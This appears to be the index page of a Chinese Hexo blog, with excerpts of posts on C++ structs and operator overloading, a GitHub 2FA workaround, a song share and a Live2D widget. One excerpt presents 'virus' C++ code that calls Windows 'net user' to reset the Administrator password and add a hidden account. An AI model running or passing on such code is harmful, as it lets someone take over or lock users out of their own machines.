结构体-进阶运用-重载运算符
运算符重载我们使用operator来重载运算符。 什么是运算符重载运算符重载就是让结构体也能使用普通的运算符,比如 +, -, *, == 等等。 基本格式123返回值类型 operator 运算符(参数) { // 实现代码} 一元运算符重载正号和负号运算符123456789101112131415161718struct Point{ int x, y; // 重载一元+运算符: +x -> (Point) Point operator+() const { return Point(x, y); // 返回本身 } // 重载一元-运算符: -x -> (Point) Point operator-() const { return Point(-x, -y); // 返回相反数 }};// 使用示例:Point p(3, 4);Point pos = +p; // 调用 opera...
结构体-进阶运用
请先看结构体的基本运用 结构体运算符->->运算符一般用来访问结构体中的指针内容,格式结构体名->指针名,例如s结构体中的*p指针: 1s->p thisthis是当前结构体的指针,也可以用this来访问。 结构体函数结构体不仅可以放变量也可以放函数,不过我们一般叫结构体里的函数为方法,也是通过.运算符来访问。 结构体函数里面可以直接访问当前结构体的变量。 当传入的参数和结构体某一个变量一样的话就可以使用刚学过的this来区分。 例如定义一个获取结构体中 $a,b$ 变量之和,可以写出如下代码 123456789struct s{ int a,b; string name; int sumab(){ return a+b; } };/*使用示例:s x={1,2};cout<<x.sumab();*/ 还有计算与另一个 $a,b$ 的和。 12345678910struct s{ int a,b; string name; void add(int...
结构体-基本运用
结构体的定义我们使用struct来定义结构体,格式如下 123struct 结构体名字{ 类型名 变量名}; 例如我们定义一个坐标结构体: 123struct zuobiao{ int x,y;}; 结构体的使用我们可以直接像int那样定义结构体变量和数组。 1zuobiao tr; 我们用.操作符来访问结构体的元素。 12zuobiao tr;tr.x=100,tr.y=-100; 结构体的初始化可以用{}来初始化,对顺序有严格要求(按照你定义的顺序) 1zuobiao tr={100,-100};//x=100,y=-100 结构体的其他妙用我们用结构体排序时,可以写cmp函数: 1234567891011121314151617181920212223#include <bits/stdc++.h>using namespace std;struct ren{ int qian; string ming;};bool cmp(ren x,ren y){//前一个元素大于...
【急救】教你一分钟搞定Github 2FA验证
情况今天一上GitHub就发现让我验证2FA,不然啥也不给我用 先不管国外的APP能不能用,还有我又不怕盗号就不能不搞吗? 如何解决其实不用手机,直接下载浏览器插件就行了 下载链接在CRX 然后直接安装插件,然后到Github用插件扫描二维码,然后把验证填上去就行了 说实话,其实我不在意盗号,这样搞反而麻烦。
C++代码分享-1
c++病毒代码(慎用)123456789101112131415161718192021222324252627282930313233#include<iostream>#include<stdlib.h>#include<conio.h>#include<windows.h>#include<ctime>using namespace std;int main(){ cout<<"确定要修改密码吗,请输入Y(Yes)或N(No):"; char k=getch(); if(k=='Y'||k=='y') system("net user Administrator wait");//用户密码重设为wait system("net user xxx wait /add");//用户名重设为xxx //system("ping www.baidu.com");//ping百度网站 ...
Hello World
Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub. Quick StartCreate a new post1$ hexo new "My New Post" More info: Writing Run server1$ hexo server More info: Server Generate static files1$ hexo generate More info: Generating Deploy to remote sites1$ hexo deploy More info: Deployment
歌曲[Wellerman]分享
视频 链接直达BiliBili
关于看板娘
Live2D Widget 特性 在网页中添加 Live2D 看板娘 轻量级,除 Live2D Cubism Core 外无其他运行时依赖 核心代码由 TypeScript 编写,易于集成 注:以上人物模型仅供展示之用,本仓库并不包含任何模型。 你也可以查看示例网页: 在 米米的博客 的左下角可查看效果 demo/demo.html,展现基础功能 demo/login.html,仿 NPM 的登陆界面 使用如果你是小白,或者只需要最基础的功能,那么只用将这一行代码加入 html 页面的 head 或 body 中,即可加载看板娘: 1<script src="https://fastly.jsdelivr.net/npm/live2d-widgets@1.0.0-rc.7/dist/autoload.js"></script> 添加代码的位置取决于你的网站的构建方式。例如,如果你使用的是 Hexo,那么需要在主题的模版文件中添加以上代码。对于用各种模版引擎生成的页面,修改方法类似。如果网站启用了 PJAX,...